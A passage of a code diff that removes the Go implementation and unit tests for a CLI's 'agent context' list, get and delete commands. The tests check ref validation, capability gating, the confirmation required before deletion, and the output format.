-		t.Fatalf("a valid ref + bot should succeed: %v", err)
-	}
-	if spec == nil || spec.Send == nil {
-		t.Fatal("should return a non-nil spec with core hooks")
-	}
-	if prov.Scheme != "example" || agentID != "echo" {
-		t.Errorf("provider/agent id: scheme=%q agentID=%q", prov.Scheme, agentID)
-	}
-	if id != core.AsBot {
-		t.Errorf("identity should be bot, got %s", id)
-	}
-}
-
-// TestResolveSpec_MalformedRef wraps a ParseRef failure into an
-// invalid_argument validation error (exit 2).
-func TestResolveSpec_MalformedRef(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	cmd := resolveCmd(t, true, "bot")
-
-	_, _, _, _, err := resolveSpec(f, cmd, "no-colon", "bot")
-	if err == nil {
-		t.Fatal("malformed ref should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	p, _ := errs.ProblemOf(err)
-	if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	// A malformed ref teaches the <scheme>:<agent_id> shape.
-	if !strings.Contains(p.Hint, "<scheme>:<agent_id>") {
-		t.Errorf("malformed-ref hint should teach the ref shape, got %q", p.Hint)
-	}
-}
-
-// TestResolveSpec_UnknownScheme rejects an unregistered provider scheme.
-func TestResolveSpec_UnknownScheme(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	cmd := resolveCmd(t, true, "bot")
-
-	_, _, _, _, err := resolveSpec(f, cmd, "nope:agt_x", "bot")
-	if err == nil {
-		t.Fatal("an unknown scheme should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	p, _ := errs.ProblemOf(err)
-	if p == nil || !strings.Contains(p.Hint, "agent list") {
-		t.Errorf("unknown-scheme hint should point to `agent list`, got %+v", p)
-	}
-}
-
-// TestResolveSpec_UnknownCatalogID rejects an unknown catalog entry id — the
-// framework validates it offline (a change from the old construct-only path).
-func TestResolveSpec_UnknownCatalogID(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	cmd := resolveCmd(t, true, "bot")
-
-	_, spec, _, _, err := resolveSpec(f, cmd, "example:nope", "bot")
-	if err == nil || spec != nil {
-		t.Fatal("an unknown catalog id should error with a nil spec")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-}
-
-// TestResolveSpec_IdentityRejected fails the user|bot whitelist when an
-// unsupported --as is explicitly requested; no spec is returned.
-func TestResolveSpec_IdentityRejected(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	cmd := resolveCmd(t, true, "admin")
-
-	_, spec, _, _, err := resolveSpec(f, cmd, "example:echo", "admin")
-	if err == nil {
-		t.Fatal("an unsupported identity should error")
-	}
-	if spec != nil {
-		t.Error("should not return a spec when identity validation fails")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-}
-
-// TestRuntimeFor_APIClientError surfaces a NewAPIClient failure (Config error).
-func TestRuntimeFor_APIClientError(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	f.Config = func() (*core.CliConfig, error) { return nil, errors.New("config boom") }
-
-	if _, err := runtimeFor(f, core.AsBot, "echo"); err == nil {
-		t.Fatal("a Config error should propagate")
-	}
-}
-
-// unconfiguredFactory returns a Factory whose Config() errors (simulating a
-// fresh install that hasn't run `config init`), so NewAPIClient fails. Used to
-// pin that the API-free paths never reach the config gate.
-func unconfiguredFactory(t *testing.T) *cmdutil.Factory {
-	t.Helper()
-	f, _, _, _ := cmdutil.TestFactory(t, nil)
-	f.Config = func() (*core.CliConfig, error) { return nil, errors.New("not configured") }
-	return f
-}
-
-// TestResolveSpec_WorksWhenUnconfigured guards the acceptance regression: offline
-// resolution must NOT touch NewAPIClient, so it succeeds even when Config errors,
-// while runtimeFor (the client path) still fails at the config gate.
-func TestResolveSpec_WorksWhenUnconfigured(t *testing.T) {
-	f := unconfiguredFactory(t)
-	cmd := resolveCmd(t, true, "bot")
-
-	_, spec, _, id, err := resolveSpec(f, cmd, "example:echo", "bot")
-	if err != nil {
-		t.Fatalf("offline resolution should succeed when unconfigured: %v", err)
-	}
-	if spec == nil || id != core.AsBot {
-		t.Fatalf("should return spec + bot identity, got spec=%v id=%s", spec, id)
-	}
-	if _, err := runtimeFor(f, id, "echo"); err == nil {
-		t.Fatal("the client path (runtimeFor) should error when unconfigured (config gate)")
-	}
-}
-
-// TestResolveSpec_ValidatesRefBeforeConfig pins that a malformed ref / unknown
-// scheme is a validation error (exit 2) even when unconfigured — it must not be
-// masked by not_configured.
-func TestResolveSpec_ValidatesRefBeforeConfig(t *testing.T) {
-	f := unconfiguredFactory(t)
-	cmd := resolveCmd(t, true, "bot")
-
-	for _, ref := range []string{"no-colon", "nope:agt_x"} {
-		_, _, _, _, err := resolveSpec(f, cmd, ref, "bot")
-		if err == nil {
-			t.Fatalf("ref %q should also report a validation error when unconfigured", ref)
-		}
-		if !errs.IsValidation(err) {
-			t.Fatalf("ref %q should be a validation error, got %T", ref, err)
-		}
-	}
-}
-
-// TestAgentCardRun_WorksUnconfigured guards the acceptance regression: `agent
-// card` is statically synthesized and must succeed unconfigured, never hitting
-// the config gate.
-func TestAgentCardRun_WorksUnconfigured(t *testing.T) {
-	f := unconfiguredFactory(t)
-	cmd := resolveCmd(t, true, "bot")
-
-	if err := agentCardRun(&cardOptions{Factory: f, Cmd: cmd, Ref: "example:echo", As: "bot", Format: "json"}); err != nil {
-		t.Fatalf("agent card should succeed when unconfigured (API-free): %v", err)
-	}
-}
-
-// TestAgentSendRun_DryRunWorksUnconfigured guards the acceptance regression:
-// `agent send --dry-run` is a client-side preview and must succeed
-// unconfigured — the example echo card declares no parameters, so no --param is
-// needed. A malformed --param must still surface as validation, unconfigured.
-func TestAgentSendRun_DryRunWorksUnconfigured(t *testing.T) {
-	f := unconfiguredFactory(t)
-	cmd := resolveCmd(t, true, "bot")
-
-	err := agentSendRun(&sendOptions{
-		Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi", DryRun: true, As: "bot",
-	})
-	if err != nil {
-		t.Fatalf("send --dry-run should succeed when unconfigured: %v", err)
-	}
-
-	// A malformed --param (no '=') is still a validation error, unconfigured.
-	err = agentSendRun(&sendOptions{
-		Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi",
-		Params: []string{"noequals"}, DryRun: true, As: "bot",
-	})
-	if err == nil || !errs.IsValidation(err) {
-		t.Fatalf("a malformed --param should report a validation error when unconfigured, got %v", err)
-	}
-}
--- a/cmd/agent/context.go
+++ b/cmd/agent/context.go
@@ -1,247 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"fmt"
-	"io"
-	"sort"
-
-	"github.com/spf13/cobra"
-
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// contextOptions holds all inputs for the `agent context list|get|delete`
-// leaves. A single struct backs all three so the shared fields (Factory, Cmd,
-// Ref, As) are wired once; each RunE reads only the fields its verb needs.
-type contextOptions struct {
-	Factory *cmdutil.Factory
-	Cmd     *cobra.Command
-	Ref     string
-	CtxID   string
-	Yes     bool
-	As      string
-	Format  string
-}
-
-// NewCmdAgentContext builds the `agent context` command group: manage a remote
-// agent's multi-turn contexts (each verb gated on its own capability:
-// context_list / context_get / context_delete). It is a pure group with
-// no RunE so an unknown subcommand is reported rather than silently swallowed.
-func NewCmdAgentContext(f *cmdutil.Factory) *cobra.Command {
-	cmd := &cobra.Command{
-		Use:   "context",
-		Short: "Manage a remote agent's multi-turn contexts (sessions)",
-		Long:  "context list <agent_ref> lists sessions; context get <agent_ref> <ctx-id> shows session detail; context delete <agent_ref> <ctx-id> deletes a session (high-risk, needs --yes).",
-	}
-	cmd.AddCommand(NewCmdAgentContextList(f))
-	cmd.AddCommand(NewCmdAgentContextGet(f))
-	cmd.AddCommand(NewCmdAgentContextDelete(f))
-	return cmd
-}
-
-// NewCmdAgentContextList builds `agent context list <ref>`: enumerate the
-// agent's multi-turn contexts into {contexts:[...]} with a meta.count. Risk=read.
-func NewCmdAgentContextList(f *cmdutil.Factory) *cobra.Command {
-	opts := &contextOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "list <agent_ref>",
-		Short: "List a remote agent's multi-turn contexts",
-		Long:  "List the multi-turn contexts (sessions) of the agent addressed by agent_ref.",
-		Args:  exactArgsWithUsage(1),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			return agentContextListRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// NewCmdAgentContextGet builds `agent context get <ref> <ctx-id>`: fetch a
-// single context's detail. Risk=read.
-func NewCmdAgentContextGet(f *cmdutil.Factory) *cobra.Command {
-	opts := &contextOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "get <agent_ref> <ctx-id>",
-		Short: "Show the detail of a single multi-turn context",
-		Long:  "Show the detail of the multi-turn context ctx-id under the agent addressed by agent_ref.",
-		Args:  exactArgsWithUsage(2),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			opts.CtxID = args[1]
-			return agentContextGetRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// NewCmdAgentContextDelete builds `agent context delete <ref> <ctx-id>`: destroy
-// a multi-turn context. Deletion is irreversible, so it is high-risk-write and
-// requires --yes; without it the command returns a confirmation_required error
-// (exit 10) before touching the API. Risk=high-risk-write.
-func NewCmdAgentContextDelete(f *cmdutil.Factory) *cobra.Command {
-	opts := &contextOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "delete <agent_ref> <ctx-id>",
-		Short: "Delete a remote agent's multi-turn context (high-risk, needs --yes)",
-		Long:  "Delete the multi-turn context ctx-id under the agent addressed by agent_ref. Deletion is irreversible and requires --yes to confirm; otherwise it returns confirmation_required (exit 10).",
-		Args:  exactArgsWithUsage(2),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			opts.CtxID = args[1]
-			return agentContextDeleteRun(opts)
-		},
-	}
-	cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认删除（高危操作，不加则返回 exit 10）")
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskHighRiskWrite)
-	return cmd
-}
-
-// agentContextListRun runs `context list`: resolves the provider, lists
-// contexts, sorts them newest-first by UpdatedAt, and emits {contexts:[...]}
-// with meta.count through content-safety scanning (the rollup is derived from
-// untrusted agent activity).
-func agentContextListRun(opts *contextOptions) error {
-	f := opts.Factory
-	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	// Capability gate BEFORE the client: context_list is derived from ListContexts
-	// being wired, so a spec without it returns unsupported_capability offline.
-	if spec.ListContexts == nil {
-		return capabilityError(opts.Ref, "context list", iagent.CapContextList)
-	}
-	rt, err := runtimeFor(f, id, agentID)
-	if err != nil {
-		return err
-	}
-	// Local scope preflight: after runtimeFor, before the API call.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-	contexts, err := spec.ListContexts(opts.Cmd.Context(), rt)
-	if err != nil {
-		return err
-	}
-	// Newest-first: sort by UpdatedAt (RFC3339 UTC) descending; a stable sort
-	// preserves the provider's relative order for equal timestamps, and contexts
-	// with no timestamp sort last.
-	sort.SliceStable(contexts, func(i, j int) bool { return contexts[i].UpdatedAt > contexts[j].UpdatedAt })
-	if contexts == nil {
-		contexts = []iagent.ContextSummary{} // always emit [] not null (matches the Card.Parameters array convention)
-	}
-	return scanAndEmitData(f, opts.Cmd, opts.Format,
-		map[string]interface{}{"contexts": contexts},
-		&output.Meta{Count: len(contexts)},
-		func(w io.Writer) { printContextsTSV(w, contexts) })
-}
-
-// agentContextGetRun runs `context get`: resolves the provider, fetches the
-// context detail (metadata + rollup + the single active_task, NOT the full task
-// list), derives the active task's IsTerminal, and emits it through
-// content-safety scanning (active_task.Summary is untrusted agent text).
-func agentContextGetRun(opts *contextOptions) error {
-	f := opts.Factory
-	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	// Capability gate BEFORE the client.
-	if spec.GetContext == nil {
-		return capabilityError(opts.Ref, "context get", iagent.CapContextGet)
-	}
-	rt, err := runtimeFor(f, id, agentID)
-	if err != nil {
-		return err
-	}
-	// Local scope preflight: after runtimeFor, before the API call.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-	detail, err := spec.GetContext(opts.Cmd.Context(), rt, opts.CtxID)
-	if err != nil {
-		return err
-	}
-	if detail != nil && detail.ActiveTask != nil {
-		// Derive IsTerminal from State (single source of truth) for the active task
-		// summary before emission — the provider only fills State.
-		detail.ActiveTask.IsTerminal = detail.ActiveTask.State.IsTerminal()
-	}
-	return scanAndEmitData(f, opts.Cmd, opts.Format, detail, nil,
-		func(w io.Writer) { printContextDetailPretty(w, detail) })
-}
-
-// agentContextDeleteRun runs `context delete`. The --yes confirmation guard runs
-// first so a missing confirmation returns confirmation_required (exit 10) before
-// any provider is built and holds even under a nil Factory. Only a
-// confirmed delete reaches resolveSpec + DeleteContext.
-func agentContextDeleteRun(opts *contextOptions) error {
-	if !opts.Yes {
-		return cmdutil.RequireConfirmation("agent context delete")
-	}
-
-	f := opts.Factory
-	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	// Capability gate BEFORE the client.
-	if spec.DeleteContext == nil {
-		return capabilityError(opts.Ref, "context delete", iagent.CapContextDelete)
-	}
-	rt, err := runtimeFor(f, id, agentID)
-	if err != nil {
-		return err
-	}
-	// Local scope preflight: after runtimeFor, before the API call.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-	if err := spec.DeleteContext(opts.Cmd.Context(), rt, opts.CtxID); err != nil {
-		return err
-	}
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		fmt.Fprintf(f.IOStreams.Out, "context_id: %s\ndeleted: true\n", kvValue(opts.CtxID))
-		return nil
-	}
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(id),
-		Data:     map[string]interface{}{"context_id": opts.CtxID, "deleted": true},
-		Notice:   output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
--- a/cmd/agent/context_test.go
+++ b/cmd/agent/context_test.go
@@ -1,529 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"encoding/json"
-	"strings"
-	"testing"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/httpmock"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// contextCmdCtx builds a `lark-cli agent context <leaf>` command whose --as flag
-// is set to bot so ResolveAs honors it verbatim, and carries a context.
-func contextCmdCtx(t *testing.T, leaf string) *cobra.Command {
-	t.Helper()
-	root := &cobra.Command{Use: "lark-cli"}
-	group := &cobra.Command{Use: "agent"}
-	grp := &cobra.Command{Use: "context"}
-	l := &cobra.Command{Use: leaf}
-	root.AddCommand(group)
-	group.AddCommand(grp)
-	grp.AddCommand(l)
-	l.Flags().String("as", "", "identity")
-	if err := l.Flags().Set("as", "bot"); err != nil {
-		t.Fatal(err)
-	}
-	l.SetContext(context.Background())
-	return l
-}
-
-// contextTestOpts wires a contextOptions against a real (test) Factory,
-// addressing the scripted fakeflow agent agt_x under a bot identity. The
-// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
-// test; provider behavior is scripted via setScripted.
-func contextTestOpts(t *testing.T, leaf string) (*contextOptions, *httpmock.Registry) {
-	t.Helper()
-	registerScripted()
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, reg := cmdutil.TestFactory(t, cfg)
-	return &contextOptions{
-		Factory: f,
-		Cmd:     contextCmdCtx(t, leaf),
-		Ref:     "fakeflow:agt_x",
-		As:      "bot",
-	}, reg
-}
-
-// TestContextDeleteRequiresYes pins that `context delete` without --yes is a
-// confirmation_required error (exit 10), raised before any provider is built.
-func TestContextDeleteRequiresYes(t *testing.T) {
-	err := agentContextDeleteRun(&contextOptions{Ref: "example:agt_x", CtxID: "c1", Yes: false})
-	if err == nil {
-		t.Fatal("context delete without --yes should report confirmation_required")
-	}
-	if !errs.IsConfirmationRequired(err) {
-		t.Fatalf("should be a confirmation_required error, got %T", err)
-	}
-	if code := output.ExitCodeOf(err); code != output.ExitConfirmationRequired {
-		t.Fatalf("exit code should be 10, got %d", code)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
-		t.Fatalf("subtype should be confirmation_required, got %+v", p)
-	}
-}
-
-// TestContextDeleteWithYes pins the confirmed path: --yes reaches the provider,
-// deletes the session, and emits a success envelope.
-func TestContextDeleteWithYes(t *testing.T) {
-	opts, _ := contextTestOpts(t, "delete")
-	opts.CtxID = "sess_1"
-	opts.Yes = true
-	var deleted string
-	setScripted(t, scriptedHooks{deleteContext: func(ctxID string) error {
-		deleted = ctxID
-		return nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentContextDeleteRun(opts); err != nil {
-		t.Fatalf("context delete --yes should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	if data["context_id"] != "sess_1" || data["deleted"] != true {
-		t.Errorf("data should echo {context_id, deleted:true}, got %v", env.Data)
-	}
-	if deleted != "sess_1" {
-		t.Errorf("provider should receive the context id to delete, got %q", deleted)
-	}
-}
-
-// TestContextDeleteProviderError surfaces a provider DeleteContext failure
-// (non-zero business code) after --yes passes.
-func TestContextDeleteProviderError(t *testing.T) {
-	opts, _ := contextTestOpts(t, "delete")
-	opts.CtxID = "sess_1"
-	opts.Yes = true
-	setScripted(t, scriptedHooks{deleteContext: func(string) error {
-		return errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
-	}})
-	if err := agentContextDeleteRun(opts); err == nil {
-		t.Fatal("a DeleteContext error should propagate")
-	}
-}
-
-// TestContextDeleteInvalidRef surfaces a malformed ref as a validation error
-// after the --yes confirmation guard passes.
-func TestContextDeleteInvalidRef(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	err := agentContextDeleteRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Yes: true, Cmd: contextCmdCtx(t, "delete"), As: "bot", Factory: f})
-	if err == nil {
-		t.Fatal("malformed ref should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-}
-
-// TestContextListEmitsContexts pins that `context list` returns
-// {contexts:[...]} with a meta.count.
-func TestContextListEmitsContexts(t *testing.T) {
-	opts, _ := contextTestOpts(t, "list")
-	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
-		return []iagent.ContextSummary{
-			{ContextID: "sess_1", Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
-			{ContextID: "sess_2"},
-		}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentContextListRun(opts); err != nil {
-		t.Fatalf("context list should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	contexts, ok := data["contexts"].([]interface{})
-	if !ok || len(contexts) != 2 {
-		t.Fatalf("data.contexts should have 2 entries, got %v", data["contexts"])
-	}
-	if env.Meta == nil || env.Meta.Count != 2 {
-		t.Errorf("meta.count should be 2, got %+v", env.Meta)
-	}
-}
-
-// TestContextListSortedByUpdatedAtDesc pins the ordering + enriched-field
-// contract: the provider returns contexts out of order, and the command emits
-// them newest-first by updated_at while carrying the updated_at / task_count /
-// awaiting_input rollup for each.
-func TestContextListSortedByUpdatedAtDesc(t *testing.T) {
-	opts, _ := contextTestOpts(t, "list")
-	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
-		return []iagent.ContextSummary{
-			{ContextID: "old", UpdatedAt: "2026-07-05T10:00:00Z", TaskCount: 1},
-			{ContextID: "new", UpdatedAt: "2026-07-05T12:00:00Z", TaskCount: 3, AwaitingInput: true},
-			{ContextID: "mid", UpdatedAt: "2026-07-05T11:00:00Z", TaskCount: 2},
-		}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentContextListRun(opts); err != nil {
-		t.Fatalf("context list should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	contexts, ok := data["contexts"].([]interface{})
-	if !ok || len(contexts) != 3 {
-		t.Fatalf("data.contexts should have 3 entries, got %v", data["contexts"])
-	}
-	want := []string{"new", "mid", "old"}
-	for i, w := range want {
-		c, _ := contexts[i].(map[string]interface{})
-		if c["context_id"] != w {
-			t.Errorf("contexts[%d].context_id should be %q (newest-first), got %v", i, w, c["context_id"])
-		}
-	}
-	first, _ := contexts[0].(map[string]interface{})
-	if first["updated_at"] != "2026-07-05T12:00:00Z" {
-		t.Errorf("contexts[0].updated_at should be carried, got %v", first["updated_at"])
-	}
-	if first["task_count"] != float64(3) {
-		t.Errorf("contexts[0].task_count should be 3, got %v", first["task_count"])
-	}
-	if first["awaiting_input"] != true {
-		t.Errorf("contexts[0].awaiting_input should be true, got %v", first["awaiting_input"])
-	}
-}
-
-// TestContextListError surfaces a provider ListContexts failure.
-func TestContextListError(t *testing.T) {
-	opts, _ := contextTestOpts(t, "list")
-	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
-		return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
-	}})
-	if err := agentContextListRun(opts); err == nil {
-		t.Fatal("a ListContexts error should propagate")
-	}
-}
-
-// TestContextListInvalidRef surfaces a malformed ref as a validation error.
-func TestContextListInvalidRef(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	err := agentContextListRun(&contextOptions{Ref: "no-colon", Cmd: contextCmdCtx(t, "list"), As: "bot", Factory: f})
-	if err == nil {
-		t.Fatal("malformed ref should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-}
-
-// TestContextGetEmitsDetail pins the enriched `context get` shape: metadata +
-// the task_count / awaiting_input rollup + a single active_task — and NO longer
-// a full tasks[] array (that moved to `agent task list --context-id`). The
-// active task's is_terminal is derived from State (input_required ⇒ false).
-func TestContextGetEmitsDetail(t *testing.T) {
-	opts, _ := contextTestOpts(t, "get")
-	opts.CtxID = "sess_1"
-	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
-		return &iagent.ContextDetail{
-			ContextID: ctxID, Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00",
-			UpdatedAt: "2026-07-05T12:00:00+08:00", TaskCount: 2, AwaitingInput: true,
-			ActiveTask: &iagent.TaskSummary{
-				TaskID: "chat_2", State: iagent.StateInputRequired,
-				UpdatedAt: "2026-07-05T12:00:00+08:00", Summary: "请提供季度",
-			},
-		}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentContextGetRun(opts); err != nil {
-		t.Fatalf("context get should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	if data["context_id"] != "sess_1" {
-		t.Errorf("data.context_id should be sess_1, got %v", data["context_id"])
-	}
-	if data["title"] != "销售分析" {
-		t.Errorf("data.title should be echoed, got %v", data["title"])
-	}
-	if data["task_count"] != float64(2) {
-		t.Errorf("data.task_count should be 2, got %v", data["task_count"])
-	}
-	if data["awaiting_input"] != true {
-		t.Errorf("data.awaiting_input should be true, got %v", data["awaiting_input"])
-	}
-	if _, hasTasks := data["tasks"]; hasTasks {
-		t.Errorf("context get should no longer embed a tasks[] array, got %v", data["tasks"])
-	}
-	active, ok := data["active_task"].(map[string]interface{})
-	if !ok {
-		t.Fatalf("data.active_task should be present, got %v", data["active_task"])
-	}
-	if active["task_id"] != "chat_2" {
-		t.Errorf("active_task.task_id should be chat_2, got %v", active["task_id"])
-	}
-	if active["is_terminal"] != false {
-		t.Errorf("active_task.is_terminal should be derived from State (input_required ⇒ false), got %v", active["is_terminal"])
-	}
-	if active["summary"] != "请提供季度" {
-		t.Errorf("active_task.summary should carry the pending prompt, got %v", active["summary"])
-	}
-}
-
-// TestContextGetError surfaces a provider GetContext failure.
-func TestContextGetError(t *testing.T) {
-	opts, _ := contextTestOpts(t, "get")
-	opts.CtxID = "sess_1"
-	setScripted(t, scriptedHooks{getContext: func(string) (*iagent.ContextDetail, error) {
-		return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
-	}})
-	if err := agentContextGetRun(opts); err == nil {
-		t.Fatal("a GetContext error should propagate")
-	}
-}
-
-// TestContextGetInvalidRef surfaces a malformed ref as a validation error.
-func TestContextGetInvalidRef(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	err := agentContextGetRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Cmd: contextCmdCtx(t, "get"), As: "bot", Factory: f})
-	if err == nil {
-		t.Fatal("malformed ref should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-}
-
-// TestContextListWithJq pins the --jq output branch for list: the filtered
-// value (not the full envelope) is what reaches stdout.
-func TestContextListWithJq(t *testing.T) {
-	opts, _ := contextTestOpts(t, "list")
-	opts.Cmd.Flags().String("jq", ".data.contexts | length", "")
-	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
-		return []iagent.ContextSummary{{ContextID: "sess_1"}}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-	if err := agentContextListRun(opts); err != nil {
-		t.Fatalf("context list --jq should not error: %v", err)
-	}
-	got := strings.TrimSpace(string(out.Bytes()))
-	if got != "1" {
-		t.Errorf("--jq .data.contexts | length should output 1, got %q", got)
-	}
-	if strings.Contains(got, `"ok"`) {
-		t.Errorf("--jq output should be the filtered value, not the full envelope, got %q", got)
-	}
-}
-
-// TestContextListEmptyEmitsArray pins the array convention: an empty context
-// list serializes as [] (never null), matching Card.Parameters.
-func TestContextListEmptyEmitsArray(t *testing.T) {
-	opts, _ := contextTestOpts(t, "list")
-	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
-		return nil, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-	if err := agentContextListRun(opts); err != nil {
-		t.Fatalf("context list should not error: %v", err)
-	}
-	var env output.Envelope
